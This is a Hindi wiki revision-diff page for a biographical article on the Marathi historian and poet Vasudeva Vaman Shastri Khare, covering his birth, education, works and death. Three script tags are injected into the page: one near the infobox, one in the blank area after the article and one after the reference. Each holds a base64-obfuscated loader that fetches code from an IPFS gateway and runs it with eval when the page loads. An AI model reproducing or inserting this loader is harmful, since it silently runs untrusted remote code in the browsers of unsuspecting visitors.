"वासुदेव वामन शास्त्री खरे" के अवतरणों में अंतर
गोविन्द राम (चर्चा | योगदान) |
|||
पंक्ति 1: | पंक्ति 1: | ||
− | {{ | + | {{सूचना बक्सा साहित्यकार |
− | '''वासुदेव वामन शास्त्री खरे''' (जन्म- 1859 ई.; मृत्यु- | + | |चित्र=blankimage.png |
+ | |चित्र का नाम= | ||
+ | |पूरा नाम=वासुदेव वामन शास्त्री खरे | ||
+ | |अन्य नाम= | ||
+ | |जन्म=1859 | ||
+ | |जन्म भूमि=[[कोंकण]] | ||
+ | |मृत्यु=[[11 जून]], [[1924]] | ||
+ | |मृत्यु स्थान= | ||
+ | |अविभावक= | ||
+ | |पालक माता-पिता= | ||
+ | |पति/पत्नी= | ||
+ | |संतान= | ||
+ | |कर्म भूमि=[[महाराष्ट्र]] | ||
+ | |कर्म-क्षेत्र=मराठी के इतिहासकार [[कवि]], नाटककार और जीवनी लेखक | ||
+ | |मुख्य रचनाएँ='यशवंत राव', 'गुणोत्कर्ष', 'तारामंडल', 'उग्र मंडल', 'नाना फड़नवीस चरित्र', 'हरिवंशाची बरवर', 'मालोजी व शहाजी' | ||
+ | |विषय= | ||
+ | |भाषा=[[मराठी भाषा]] | ||
+ | |विद्यालय= | ||
+ | |शिक्षा= | ||
+ | |पुरस्कार-उपाधि= | ||
+ | |प्रसिद्धि= | ||
+ | |विशेष योगदान= | ||
+ | |नागरिकता=भारतीय | ||
+ | |संबंधित लेख= | ||
+ | |शीर्षक 1= | ||
+ | |पाठ 1= | ||
+ | |शीर्षक 2= | ||
+ | |पाठ 2= | ||
+ | |अन्य जानकारी='यशवंत राव' नामक इनका [[महाकाव्य]] प्रसिद्ध है। | ||
+ | |बाहरी कड़ियाँ= | ||
+ | |अद्यतन= | ||
+ | }} | ||
+ | '''वासुदेव वामन शास्त्री खरे''' ([[अंग्रेज़ी]]: ''Vasudeva Vaman Shastri Khare'', जन्म- 1859 ई.; मृत्यु-11 जून, 1924 ई.) [[मराठी भाषा]] के सुप्रसिद्ध इतिहासकार [[कवि]], नाटककार और जीवनी लेखक थे। | ||
==परिचय== | ==परिचय== | ||
मराठी के सुप्रसिद्ध इतिहासकार कवि वासुदेव वामन शास्त्री खरे का जन्म 1859 ई. में [[कोंकण]] के गुहार नगर गाँव में हुआ था। | मराठी के सुप्रसिद्ध इतिहासकार कवि वासुदेव वामन शास्त्री खरे का जन्म 1859 ई. में [[कोंकण]] के गुहार नगर गाँव में हुआ था। | ||
पंक्ति 6: | पंक्ति 38: | ||
वासुदेव वामन ने सतारा के अनंताचार्य गजेन्द्रगडकर से [[संस्कृत]] की शिक्षा पाई और [[पूना]] के न्यू इंगलिश स्कूल में संस्कृत के अध्यापक नियुक्त हो गए। यहीं उनका परिचय [[लोकमान्य तिलक]] से हुआ। 'केसरी' और 'मराठा' से उनका संबंध आरंभ से ही था। लोकमान्य की प्रेरणा से वासुदेव ने दीर्घ काल तक मिरज के हाई स्कूल में अध्यापन का कार्य किया। यहीं उनकी इतिहास के अंवेषण के प्रति रुचि उत्पन्न हुई। | वासुदेव वामन ने सतारा के अनंताचार्य गजेन्द्रगडकर से [[संस्कृत]] की शिक्षा पाई और [[पूना]] के न्यू इंगलिश स्कूल में संस्कृत के अध्यापक नियुक्त हो गए। यहीं उनका परिचय [[लोकमान्य तिलक]] से हुआ। 'केसरी' और 'मराठा' से उनका संबंध आरंभ से ही था। लोकमान्य की प्रेरणा से वासुदेव ने दीर्घ काल तक मिरज के हाई स्कूल में अध्यापन का कार्य किया। यहीं उनकी इतिहास के अंवेषण के प्रति रुचि उत्पन्न हुई। | ||
==रचनाएँ== | ==रचनाएँ== | ||
− | वासुदेव वामन का अधिकतर जीवन गरीबी में बीता। किंतु इन्हीं स्थितियों में निष्ठापूर्वक 27 वर्षों तक अध्ययन करके उन्होंने 'ऐतिहासिक लेख संग्रह' नामक बहुमूल्य ग्रंथ प्रस्तुत किया। इसमें 1760 से 1800 ई. तक के मराठों के इतिहास का तथ्यपरक निरूपण है। इस एक मात्र [[ग्रंथ]] से ही इतिहासकार के रूप में उनका प्रतिष्ठित स्थान बन गया। 'यशवंत राव' नामक उनका महाकाव्य प्रसिद्ध है। 'गुणोत्कर्ष', 'तारामंडल', 'उग्र मंडल' आदि उनके ऐतिहासिक नाटक हैं। 'नाना फड़नवीस चरित्र', 'हरिवंशाची बरवर', 'मालोजी व शहाजी' आदि रचनाएँ भी उल्लेखनीय हैं। | + | वासुदेव वामन का अधिकतर जीवन गरीबी में बीता। किंतु इन्हीं स्थितियों में निष्ठापूर्वक 27 वर्षों तक अध्ययन करके उन्होंने 'ऐतिहासिक लेख संग्रह' नामक बहुमूल्य ग्रंथ प्रस्तुत किया। इसमें 1760 से 1800 ई. तक के मराठों के इतिहास का तथ्यपरक निरूपण है। इस एक मात्र [[ग्रंथ]] से ही इतिहासकार के रूप में उनका प्रतिष्ठित स्थान बन गया। 'यशवंत राव' नामक उनका [[महाकाव्य]] प्रसिद्ध है। 'गुणोत्कर्ष', 'तारामंडल', 'उग्र मंडल' आदि उनके ऐतिहासिक नाटक हैं। 'नाना फड़नवीस चरित्र', 'हरिवंशाची बरवर', 'मालोजी व शहाजी' आदि रचनाएँ भी उल्लेखनीय हैं। |
==निधन== | ==निधन== | ||
− | वासुदेव वामन शास्त्री खरे का निधन 11 जून, 1924 ई. को मिरज में हुआ था। | + | इतिहास संग्रह कार्य के दीर्घकालीन परिश्रम के कारण वासुदेव वामन शास्त्री खरे का निधन [[11 जून]], [[1924]] ई. को मिरज में हुआ था। |
− | {{लेख प्रगति|आधार=|प्रारम्भिक= | + | {{लेख प्रगति|आधार=|प्रारम्भिक=प्रारम्भिक3 |माध्यमिक= |पूर्णता= |शोध= }} |
{{संदर्भ ग्रंथ}} | {{संदर्भ ग्रंथ}} | ||
==टीका टिप्पणी और संदर्भ== | ==टीका टिप्पणी और संदर्भ== |
08:27, 7 जून 2013 का अवतरण
वासुदेव वामन शास्त्री खरे
| |
पूरा नाम | वासुदेव वामन शास्त्री खरे |
जन्म | 1859 |
जन्म भूमि | कोंकण |
मृत्यु | 11 जून, 1924 |
कर्म भूमि | महाराष्ट्र |
कर्म-क्षेत्र | मराठी के इतिहासकार कवि, नाटककार और जीवनी लेखक |
मुख्य रचनाएँ | 'यशवंत राव', 'गुणोत्कर्ष', 'तारामंडल', 'उग्र मंडल', 'नाना फड़नवीस चरित्र', 'हरिवंशाची बरवर', 'मालोजी व शहाजी' |
भाषा | मराठी भाषा |
नागरिकता | भारतीय |
अन्य जानकारी | 'यशवंत राव' नामक इनका महाकाव्य प्रसिद्ध है। |
इन्हें भी देखें | कवि सूची, साहित्यकार सूची |
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
वासुदेव वामन शास्त्री खरे (अंग्रेज़ी: Vasudeva Vaman Shastri Khare, जन्म- 1859 ई.; मृत्यु-11 जून, 1924 ई.) मराठी भाषा के सुप्रसिद्ध इतिहासकार कवि, नाटककार और जीवनी लेखक थे।
परिचय
मराठी के सुप्रसिद्ध इतिहासकार कवि वासुदेव वामन शास्त्री खरे का जन्म 1859 ई. में कोंकण के गुहार नगर गाँव में हुआ था।
शिक्षा
वासुदेव वामन ने सतारा के अनंताचार्य गजेन्द्रगडकर से संस्कृत की शिक्षा पाई और पूना के न्यू इंगलिश स्कूल में संस्कृत के अध्यापक नियुक्त हो गए। यहीं उनका परिचय लोकमान्य तिलक से हुआ। 'केसरी' और 'मराठा' से उनका संबंध आरंभ से ही था। लोकमान्य की प्रेरणा से वासुदेव ने दीर्घ काल तक मिरज के हाई स्कूल में अध्यापन का कार्य किया। यहीं उनकी इतिहास के अंवेषण के प्रति रुचि उत्पन्न हुई।
रचनाएँ
वासुदेव वामन का अधिकतर जीवन गरीबी में बीता। किंतु इन्हीं स्थितियों में निष्ठापूर्वक 27 वर्षों तक अध्ययन करके उन्होंने 'ऐतिहासिक लेख संग्रह' नामक बहुमूल्य ग्रंथ प्रस्तुत किया। इसमें 1760 से 1800 ई. तक के मराठों के इतिहास का तथ्यपरक निरूपण है। इस एक मात्र ग्रंथ से ही इतिहासकार के रूप में उनका प्रतिष्ठित स्थान बन गया। 'यशवंत राव' नामक उनका महाकाव्य प्रसिद्ध है। 'गुणोत्कर्ष', 'तारामंडल', 'उग्र मंडल' आदि उनके ऐतिहासिक नाटक हैं। 'नाना फड़नवीस चरित्र', 'हरिवंशाची बरवर', 'मालोजी व शहाजी' आदि रचनाएँ भी उल्लेखनीय हैं।
निधन
इतिहास संग्रह कार्य के दीर्घकालीन परिश्रम के कारण वासुदेव वामन शास्त्री खरे का निधन 11 जून, 1924 ई. को मिरज में हुआ था।
|
|
|
|
|
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
टीका टिप्पणी और संदर्भ
शर्मा, लीलाधर भारतीय चरित कोश (हिन्दी)। भारत डिस्कवरी पुस्तकालय: शिक्षा भारती, दिल्ली, पृष्ठ 785।<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
बाहरी कड़ियाँ
संबंधित लेख